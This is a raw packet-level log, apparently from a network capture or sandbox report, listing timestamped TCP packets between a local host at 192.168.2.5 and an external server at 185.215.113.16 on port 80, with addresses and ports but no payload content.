Oct 24, 2024 19:30:09.025068045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025073051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025084972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025089025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025104046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025109053 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025125027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025131941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025140047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025149107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025155067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025166035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025180101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025198936 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025341988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025357008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025372028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025374889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025388002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025393009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025405884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025410891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025420904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025429964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025439024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025444984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025453091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025455952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025470018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025474072 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025482893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025487900 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025502920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025504112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025518894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025520086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025533915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025535107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025551081 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025554895 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025566101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025568962 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025583029 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025585890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025598049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025602102 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025613070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025619030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025629997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025635004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025645018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025650978 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025657892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025665998 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025674105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025682926 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025690079 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025698900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025706053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025713921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025728941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025731087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025743008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025746107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025758982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025762081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025775909 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025780916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025794029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025806904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025810957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025820971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025835991 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025839090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025852919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025857925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025870085 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025876045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.025882959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.025907040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070431948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070452929 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070478916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070486069 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070493937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070509911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070513010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070524931 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070525885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070540905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070550919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070555925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070571899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070580006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070591927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070605040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070614100 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070619106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070628881 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070636034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070651054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070666075 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070691109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070697069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070712090 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070733070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070734978 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070748091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070750952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070764065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070769072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070785999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070808887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070895910 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070909977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070924997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070930958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070940971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070944071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070957899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070961952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070977926 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070981026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.070992947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.070996046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071007967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071011066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071024895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071026087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071038961 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071044922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071101904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071113110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071142912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071157932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071166992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071166992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071188927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071274042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071320057 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071389914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071403027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071422100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071441889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071496964 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071511030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071526051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071528912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071552992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071573019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071609974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071646929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071660042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071675062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071696043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071707964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071747065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071762085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071779013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071779966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071790934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071796894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071811914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071813107 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071830034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071835041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071846962 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071851015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071866035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071868896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071886063 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071954012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071958065 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.071968079 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.071986914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072001934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072016954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072027922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072031975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072043896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072048903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072067022 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072084904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072093010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072098970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072115898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072120905 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072132111 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072137117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072153091 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072177887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072221994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072236061 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072252035 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072261095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072267056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072276115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072283030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072288036 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072307110 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072324991 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072341919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072355986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072371006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072375059 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072386026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072392941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072401047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072415113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072432041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072432041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072442055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072494984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072520018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072530985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072535038 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072550058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072556019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072567940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072572947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072587967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072602034 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072729111 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072742939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072757959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072763920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072772980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072777987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072788954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072797060 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072819948 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072830915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072844982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072854996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072860003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072863102 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072875023 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072894096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072901011 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072910070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072926044 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072932959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072941065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072956085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072962999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072969913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.072984934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.072987080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073002100 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073003054 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073029041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073046923 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073132992 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073147058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073163033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073164940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073180914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073191881 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073221922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073236942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073251009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073267937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073286057 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073287010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073287010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073302984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073354959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073369026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073383093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073388100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073399067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073406935 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073414087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073421955 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073438883 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073456049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.073584080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.073616982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137231112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137263060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137278080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137303114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137329102 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137367964 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137382030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137398005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137411118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137412071 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137428999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137435913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137449026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137463093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137464046 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137476921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137480974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137492895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137506962 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137509108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137525082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137531042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137540102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137557030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137583971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137603998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137618065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137633085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137635946 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137650013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137654066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137675047 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137691021 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137717962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137732029 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137746096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137749910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137767076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137768984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137784004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137787104 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137798071 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137800932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137814999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137829065 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137855053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137870073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137885094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137886047 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137898922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137903929 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.137912035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137937069 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.137988091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.138001919 CEST	80	49959	185.215.113.16	192.168.2.5
